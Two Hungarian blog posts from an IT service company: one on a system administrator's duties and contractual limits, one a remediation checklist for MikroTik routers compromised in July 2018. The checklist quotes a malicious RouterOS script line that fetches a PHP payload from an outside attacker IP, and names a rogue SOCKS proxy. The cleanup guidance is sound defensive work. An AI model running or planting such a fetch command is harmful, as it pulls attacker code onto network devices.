Itt a „Duties” fejezetben találjuk a feladatok listáját:

A system administrator’s responsibilities might include:

• Analyzing system logs and identifying potential issues with computer systems.
• Applying operating system updates, patches, and configuration changes.
• Installing and configuring new hardware and software.
• Adding, removing, or updating user account information, resetting passwords, etc.
• Answering technical queries and assisting users.
• Responsibility for security.
• Responsibility for documenting the configuration of the system.
• Troubleshooting any reported problems.
• System performance tuning.
• Ensuring that the network infrastructure is up and running.
• Configuring, adding, and deleting file systems.
• Ensuring parity between dev, test and production environments.

In larger organizations, some of the tasks above may be divided among different system administrators or members of different organizational groups. For example, a dedicated individual(s) may apply all system upgrades, a Quality Assurance (QA) team may perform testing and validation, and one or more technical writers may be responsible for all technical documentation written for a company. System administrators, in larger organizations, tend not to be systems architects, systems engineers, or systems designers.

In smaller organizations, the system administrator might also act as technical support, Database Administrator, Network Administrator, Storage (SAN) Administrator or application analyst.

A fentiek lényegében felölelik egyrészt az eszközökkel kapcsolatos feladatokat – az IT eszközök felülgyelete, karbantartása, változtatása -, másrészt az emberi feladatokat: tanácsadás, támogatás, különféle felek (pl. felhasználók és fejlesztők) közötti egyeztetésben részvételt.

Konkrétan természetesen a rendszergazda feladata esetileg van meghatározva. Akár alkalmazott rendszergazda – vagy rendszergazdák -, akár megbízási vagy vállalkozói szerződéses jogviszonyban megvalósított rendszergazdai szolgáltatásról van szó, a tevékenység határait konkrét leírással kell meghatározzák a felek. Ennek hiányában előfordulhatnak vitás helyzetek – ami nem szükségszerű, hiszen szokás, ráutaló magatartás is kialakíthatja a határokat, és a gyakorlatban ez is működik, különösen ha semmilyen váratlan probléma nem merül fel. Váratlan probléma lehet egy vírusfertőzés vagy hardver meghibásodás, amely adatvesztéshez vagy munkaidő kieséshez vezet, ami anyagi kárt okoz a megrendelőnek. Ez esetben fontos kérdéssé válik, hogy a bizonsági adatmentés vagy az üzletfolytonossági terv (BCP, business continuity plan) vajon a rendszergazda feladatai közé tartozott-e vagy sem.

Két helyzetben szokott fontossá válni a rendszergazdai feladatkör meghatározása:

Eső után köpönyeg: „Ki dolga lett volna?”, „A rendszer feladata lett volna?”

Különösen érzékeny kérdés lehet az, hogy ha a rendszergazda az adatmentést korábban megfelelően beállította, valamilyen módon átadta az üzemeltetését a megrendelőnek (pl. napi adathordozó csere). (Egyébként erre a DOIT szolgáltatása: az adatmentési rendszer felügyeleti szolgáltatás, és rendszeres adatvisszaállítási audit: adatvisszaállítási kísérlet pl. 6 havonta. Ez mind a helyi rendszergazdának megnyugtató lehet, mert szeparálja a napi operatív teendőktől ezt a látszólag nem sürgős teendőt, másrészt a megrendelőnek is megnyugtató, hogy egy külső fél megbizonyosodik arról, hogy az adatai visszaállíthatóak).

Új, extra feladat, esetleg projekt megjelenése esetén

A rendszergazda feladata többnyire egy rendszer fenntartása olyan módon, hogy a rendszer stabilan működjön, a megrendelők által korábban meghatározott funkciókat szolgáltassa: lehessen levelezni, számlázni, internetet elérni, stb. Ehhez a rendszergazda feladatai aránylag statikusak: a hibás működést javítja: a hibás hardvereket cseréli, a szoftvereket frissíti. Azonban ha az üzleti igény változik, akkor új, korábban esetleg nem létező feladatai keletkeznek. A változás forrásai sokfélék: törvényi változások (lásd pl.: GDPR), a cég növekedés, költözés, egy-egy rendszer adatmennyiségének növekedése, új üzletágak indulása, stb. Akár egy új felhasználó megjelenése elindíthat egy láncreakciót: a felhasználói licenszek elfogytak és/vagy a levelező szerver tárhelyét bővíteni kell, a mentési tárhelyet bővíteni kell, ehhez a szünetmentes tápellátást és a klímát is bővíteni kell, stb.

Alkalmazotti státuszban dolgozó rendszergazda esetén két határ van: munkaidő és elvárható szakértelem

Az egyik kemény határa a rendszergazda feladatainak: az alkalmazott munkaideje szab határt a feladatainak.

A másik kemény határ a kompetencia, az „elvárható szakértelem” nevű jogi fogalom. Egy adott személy szaktudása nem terjedhet ki az informatika minden területére: nem elvárható, hogy Microsoft licensz gazdálkodásban is megfelelő gazdasági döntéseket hozzon naprakész ismeretekkel (ez egy külön vizsga és certifikáció a Microsoftnál: https://www.google.hu/search?q=microsoft%20licensing%20certificate%20training ), finomhangolja az adatbázisszervert, és adatbiztonsági szakértőként is helytálljon, valamint a felhasználók nyomtatási és excel használati kérdéseire is hatékonyan válaszoljon stb.

Csakúgy, ahogy az egészségügyi ellátásban szakosodás van: a házirovos a megfelelő szakterületi orvossal osztozik a feladat megoldásán, és egy-egy szerv gyógyítása esetén is több szakterületre oszlik a kompetencia (pl. kardiológus és szívsebész), úgy az IT igen gyorsan változó világában ugyanez történik.

A felelősségből származtatott következmény – ha pl. teljes adatvesztést szenved el egy cég az alkalmazottja mulasztásából – alkalmazott esetén lényegesen korlátozottabb, mint a vállalkozói státusz esetén, ennek jogi vonatkozásait érdemes a cég jogászaival tisztázni.

A vállalkozói és megbízási jogviszonyokban: a megállapodás adja meg a rendszergazdai feladatok határait – időben, szakmai területben, stb.

Érdemes a szerződést egyszerűen, és valós élethelyzetekre vonatkoztatva átgondolnia a megrendelőnek és a szolgáltatónak is. Érdemes kerülni a túlhabosítást, a törvényekben már eleve és érvényesen szabályozott helyzeteket (pl. titoktartás, szavatosság, garancia), és a lényegtelen apróságokat – de fontos egyértelműen kimondani az az üzleti igényt, amit a megrendelő elvár és a szolgáltató teljesít. Példa: a megrendelő gondolhat erre: „az adatok legyenek visszaállíthatóak úgy, hogy a cég élete 2 napon belül folytatható legyen teljes adatvesztés esetén is” – ez egy átfogó üzletfolytonossági igény. Ha szerződésbe viszont ezt írja be: „a szolgáltató állítsa be az X szerver mentését, annak jelentéseit fogadja és hibajelzés esetén jelezze a megrendelőnek”, akkor egy lényegesen szűkebb igényt fogalmaz meg, itt pl. ha nem csak az X szerver adatai kellenek az üzletfolytonossághoz, vagy a mentési szoftver hibájából nem visszaállítható a mentés, akkor ez a megrendelő felelőssége.

A felelősségből származtatott következmény – ha pl. teljes adatvesztést szenved el egy cég a szerződött rendszergazda szolgáltató mulasztásából – a két fél megállapodásától függ, és igen komoly felelősségvállalás várható el.

Figyelmeztetés, jogok: e cikk szabadon felhasználható a forrás megjelölésével. A cikk vélemény, nem szakmai tanácsadás, – javasoljuk jogi szakértők felkérését konkrét esetben.

The post A rendszergazda feladatai appeared first on Rendszergazda szolgáltatás.

Egyes routereket karbantartanak a gazdái, másokat nem. Egyes routereken az automatikus frissítés valós, működő dolog, máshol nem. A mi ügyfeleink különféle döntéseket hoztak a routerek üzemeltetéséről: egyes routerekre semmilyen szolgáltatást nem igényelnek. Ez esetenként, sőt, hosszú évekig is gazdaságos döntés – de időnként mégis szükség van karbantartásra. Így most, egy sérülékenység kapcsán jópár olyan eszközön végig kellett menjünk, és frissítenünk kellett az OS-t és a formware-t, valamint el kellett távolítsuk az időközben felkerült kártékony dolgokat, amelyek eddig nem kaptak ilyen törődést.

Az alábbi feladatsort erre dolgozuk ki, és publikáljuk, hátha más IT üzemeltető csapatnak is hasznos.

Előkészületek

Admin tool a saját gépedre: winbox

• • Winbox for Win: https://download.mikrotik.com/routeros/winbox/3.16/winbox.exe
  • Winbox for OS X: https://github.com/nrlquaker/winbox-mac
  • Linux: wine-nal a winbox.exe

G tábla vagy más lista és napló készítése a routereidről

Javasoljuk, hogy készíts egy G táblát, soronként egy routerrel, ahol naplózni tudjátok a tevékenységet, és rögzíteni tudjátok a nyomokat. Itt egy példa Google Táblázat, ebből készíthetsz egy másolatot.

Ha többen dolgoztok, akkor ez a munkamenet:

1. kiválasztok egy sort
2. beírom a nevemet az A oszlopba, ezzel befoglalom a munkát
3. a rendszerdokumentációból kiveszem az IP, user, pw hármast
4. winboxszal belépek

Munka a Mikrotiken

0. Mentés a munka előtt

“New Terminal”-ban kiadni:

:global backupfile ([/system identity get name] . „-” . [/system clock get date])

export file=$backupfile

/system backup save name=$backupfile

A bináris mentést itt nem kell megtartani, törölhető.

VAGY:

export file=[a router neve]-[dátum]-a

1. system/scheduler

(schedule3_ vagy schedule1_ törlése, de minden task gyanús, de lehet pár a legális, pl openvpn. log küldés vagy ping)

Táblázatba ütemezett feladat neve

Schedule task interval/runcount

2. system/scripts

(script_3 vagy 3_script törlése, bármi gyanús, de lehet legális 1-1 ping vagy log küldő)

Pl. “/tool fetch address=95.154.216.160 port=2008 src-path=/mikrotik.php mode=http”

3. files/mikrotik.php törlése

minden php gyanús

Php fájl létrehozásának dokumentálása

4. IP/Socks

Megnézni, hogy engedélyezve van-e (jellemzően 4145-re van átírva) – ha igen, beírni 1-est a G tábla megfelelő oszlopába.

Tiltani.

5. Router OS update: system/packages/”check for updates”

OS verziószám feljegyzése a G táblába.

“download & install” gomb (6.37 alatt rizikós a reboot) az újraindulás routertől függően 30-120mp

6. Firmware upgrade: system/routerboard/upgrade

Jelenlegi verzió feljegyzése

Upgrade

Manual reboot: system/reboot (óvatosan, nehogy mellé klikkeljünk)

7. IP firewall drop-ok enable

Ha MINDEN drop tiltva van, akkor ki van szürkítve a sor: a szürke drop-okat tedd aktívvá!

így néz ki a dolog: a felső sorban a szürke “X drop” a rossz, ezt kell olyanná tenni, mint a lenti sorban a piros “X drop” a jó:

Hogyan? kijelölöd a sort, majd a fenti menüsorban a kék pipával:

>>> A további lépésekhez klikkelj ide <<<

The post Mikrotik routerek megtisztítása a 2018-07-20. időszakban zajló támadások után appeared first on Rendszergazda szolgáltatás.